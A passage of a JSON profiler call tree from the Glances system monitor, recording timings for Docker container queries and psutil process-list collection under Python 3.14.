\"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.006006,\"attributes\": {\"l248\": 0.006006312003592029},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.006006,\"attributes\": {\"cDockerExtension\": 0.006006312003592029, \"l260\": 0.006006312003592029},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.006006,\"attributes\": {\"cContainerCollection\": 0.006006312003592029, \"l1009\": 0.006006312003592029},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.006006,\"attributes\": {\"cAPIClient\": 0.006006312003592029, \"l212\": 0.006006312003592029},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.006006,\"attributes\": {\"cAPIClient\": 0.006006312003592029, \"l44\": 0.006006312003592029},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.006006,\"attributes\": {\"cAPIClient\": 0.006006312003592029, \"l246\": 0.006006312003592029},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.006006,\"attributes\": {\"cAPIClient\": 0.006006312003592029, \"l602\": 0.006006312003592029},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.006006,\"attributes\": {\"cAPIClient\": 0.006006312003592029, \"l575\": 0.0020079250025446527, \"l589\": 0.0039983870010473765},\"children\": [{\"identifier\": \"prepare_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000457\",\"time\": 0.002008,\"attributes\": {\"cAPIClient\": 0.0020079250025446527, \"l481\": 0.0020079250025446527},\"children\": [{\"identifier\": \"get_netrc_auth\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/utils.py\\u0000207\",\"time\": 0.002008,\"attributes\": {\"l210\": 0.0020079250025446527},\"children\": [{\"identifier\": \"get\\u0000<frozen _collections_abc>\\u0000792\",\"time\": 0.002008,\"attributes\": {\"c_Environ\": 0.0020079250025446527, \"l797\": 0.0020079250025446527},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002008,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.003998,\"attributes\": {\"cAPIClient\": 0.0039983870010473765, \"l703\": 0.00199605699890526, \"l746\": 0.0020023300021421164},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.001996,\"attributes\": {\"cUnixHTTPAdapter\": 0.00199605699890526, \"l644\": 0.00199605699890526},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.001996,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.00199605699890526, \"l787\": 0.00199605699890526},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.001996,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.00199605699890526, \"l534\": 0.00199605699890526},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.001996,\"attributes\": {\"cUnixHTTPConnection\": 0.00199605699890526, \"l571\": 0.00199605699890526},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.001996,\"attributes\": {\"cUnixHTTPConnection\": 0.00199605699890526, \"l1430\": 0.00199605699890526},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"content\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/models.py\\u0000890\",\"time\": 0.002002,\"attributes\": {\"cResponse\": 0.0020023300021421164, \"l902\": 0.0020023300021421164},\"children\": [{\"identifier\": \"generate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/models.py\\u0000816\",\"time\": 0.002002,\"attributes\": {\"l820\": 0.0020023300021421164},\"children\": [{\"identifier\": \"stream\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/response.py\\u00001231\",\"time\": 0.002002,\"attributes\": {\"cHTTPResponse\": 0.0020023300021421164, \"l1257\": 0.0020023300021421164},\"children\": [{\"identifier\": \"read\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/response.py\\u00001065\",\"time\": 0.002002,\"attributes\": {\"cHTTPResponse\": 0.0020023300021421164, \"l1112\": 0.0020023300021421164},\"children\": [{\"identifier\": \"_raw_read\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/response.py\\u00001013\",\"time\": 0.002002,\"attributes\": {\"cHTTPResponse\": 0.0020023300021421164, \"l1027\": 0.0020023300021421164},\"children\": [{\"identifier\": \"helper\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000303\",\"time\": 0.002002,\"attributes\": {\"l305\": 0.0020023300021421164},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000108\",\"time\": 0.002002,\"attributes\": {\"c_GeneratorContextManager\": 0.0020023300021421164, \"l112\": 0.0020023300021421164},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.069989,\"attributes\": {\"cProcesscountPlugin\": 0.06998878699960187, \"l85\": 0.06998878699960187},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.069989,\"attributes\": {\"cGlancesProcesses\": 0.06998878699960187, \"l617\": 0.06399033599882387, \"l650\": 0.0019985990002169274, \"l659\": 0.003999852000561077},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.063990,\"attributes\": {\"cGlancesProcesses\": 0.06399033599882387, \"l478\": 0.05398769900057232, \"l493\": 0.010002636998251546},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.053988,\"attributes\": {\"l1541\": 0.0019950380010413937, \"l1558\": 0.051992660999530926},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.001995,\"attributes\": {\"l1485\": 0.0019950380010413937},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.001995,\"attributes\": {\"l1526\": 0.0019950380010413937},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.051993,\"attributes\": {\"cProcess\": 0.051992660999530926, \"l579\": 0.039987872980418615, \"l572\": 0.008006414012925234, \"l578\": 0.003998374006187078},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019994089961983263, \"l939\": 0.0019994089961983263},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019994089961983263, \"l1593\": 0.0019994089961983263},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019994089961983263, \"l2052\": 0.0019994089961983263},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019994089961983263, \"l1593\": 0.0019994089961983263},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019994089961983263, \"l382\": 0.0019994089961983263},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019994089961983263, \"l1719\": 0.0019994089961983263},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019972239970229566, \"l812\": 0.0019972239970229566},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019972239970229566, \"l1593\": 0.0019972239970229566},\"children\": [{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002265\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019972239970229566, \"l2268\": 0.0019972239970229566},\"children\": [{\"identifier\": \"Pattern.findall\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.001999,\"attributes\": {\"c_GeneratorContextManager\": 0.0019987420018878765, \"l141\": 0.0019987420018878765},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019987420018878765, \"l506\": 0.0019987420018878765},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999264997721184, \"l939\": 0.001999264997721184},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999264997721184, \"l1593\": 0.001999264997721184},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999264997721184, \"l2052\": 0.001999264997721184},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999264997721184, \"l1593\": 0.001999264997721184},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999264997721184, \"l382\": 0.001999264997721184},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002006,\"attributes\": {\"cProcess\": 0.0020057959991390817, \"l687\": 0.0020057959991390817},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002006,\"attributes\": {\"cProcess\": 0.0020057959991390817, \"l748\": 0.0020057959991390817},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002006,\"attributes\": {\"cProcess\": 0.0020057959991390817, \"l1593\": 0.0020057959991390817},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002006,\"attributes\": {\"cProcess\": 0.0020057959991390817, \"l1750\": 0.0020057959991390817},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.002006,\"attributes\": {\"l692\": 0.0020057959991390817},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002006,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001995741004066076, \"l1079\": 0.001995741004066076},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001995741004066076, \"l1593\": 0.001995741004066076},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001995741004066076, \"l1835\": 0.001995741004066076},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000114996917546, \"l836\": 0.002000114996917546},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000114996917546, \"l1593\": 0.002000114996917546},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000114996917546, \"l1796\": 0.002000114996917546},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.002000114996917546},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.001997,\"attributes\": {\"c_GeneratorContextManager\": 0.0019974160022684373, \"l148\": 0.0019974160022684373},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019974160022684373, \"l539\": 0.0019974160022684373},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.004094,\"attributes\": {\"cProcess\": 0.004094479001651052, \"l680\": 0.00200106199918082, \"l702\": 0.0020934170024702325},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.00200106199918082, \"l1593\": 0.00200106199918082},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.00200106199918082, \"l1740\": 0.00200106199918082},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.00200106199918082, \"l1593\": 0.00200106199918082},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.00200106199918082, \"l382\": 0.00200106199918082},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.00200106199918082, \"l1683\": 0.00200106199918082},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002001,\"attributes\": {\"l730\": 0.00200106199918082},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002001,\"attributes\": {\"l719\": 0.00200106199918082},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002093,\"attributes\": {},\"children\": []}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002018,\"attributes\": {\"cProcess\": 0.0020179269995423965, \"l939\": 0.0020179269995423965},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002018,\"attributes\": {\"cProcess\": 0.0020179269995423965, \"l1593\": 0.0020179269995423965},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002018,\"attributes\": {\"cProcess\": 0.0020179269995423965, \"l2052\": 0.0020179269995423965},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002018,\"attributes\": {\"cProcess\": 0.0020179269995423965, \"l1593\": 0.0020179269995423965},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002018,\"attributes\": {\"cProcess\": 0.0020179269995423965, \"l391\": 0.0020179269995423965},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002018,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001890,\"attributes\": {\"cProcess\": 0.0018895129978773184, \"l836\": 0.0018895129978773184},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001890,\"attributes\": {\"cProcess\": 0.0018895129978773184, \"l1593\": 0.0018895129978773184},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001890,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003999223998107482, \"l687\": 0.002000211999984458, \"l680\": 0.0019990119981230237},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000211999984458, \"l748\": 0.002000211999984458},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000211999984458, \"l1593\": 0.002000211999984458},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000211999984458, \"l1754\": 0.002000211999984458},\"children\": [{\"identifier\": \"_raise_if_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001646\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000211999984458, \"l1647\": 0.002000211999984458},\"children\": [{\"identifier\": \"_is_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001630\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000211999984458, \"l1638\": 0.002000211999984458},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.002000211999984458},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l718\": 0.002000211999984458},\"children\": [{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990119981230237, \"l1593\": 0.0019990119981230237},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990119981230237, \"l1740\": 0.0019990119981230237},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990119981230237, \"l1593\": 0.0019990119981230237},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990119981230237, \"l382\": 0.0019990119981230237},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990119981230237, \"l1683\": 0.0019990119981230237},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001999,\"attributes\": {\"l730\": 0.0019990119981230237},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001999,\"attributes\": {\"l718\": 0.0019990119981230237},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000747001147829, \"l812\": 0.002000747001147829},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000747001147829, \"l1593\": 0.002000747001147829},\"children\": [{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002265\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000747001147829, \"l2269\": 0.002000747001147829},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000253000005614, \"l680\": 0.002000253000005614},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000253000005614, \"l1593\": 0.002000253000005614},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000253000005614, \"l1740\": 0.002000253000005614},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000253000005614, \"l1593\": 0.002000253000005614},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000253000005614, \"l382\": 0.002000253000005614},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000253000005614, \"l1683\": 0.002000253000005614},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.002000253000005614},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l719\": 0.002000253000005614},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.001998,\"attributes\": {\"c_GeneratorContextManager\": 0.0019977910051238723, \"l148\": 0.0019977910051238723},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019977910051238723, \"l543\": 0.0019977910051238723},\"children\": [{\"identifier\": \"oneshot_exit\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001732\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019977910051238723, \"l1733\": 0.0019977910051238723},\"children\": [{\"identifier\": \"cache_deactivate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000399\",\"time\": 0.001998,\"attributes\": {\"l402\": 0.0019977910051238723},\"children\": 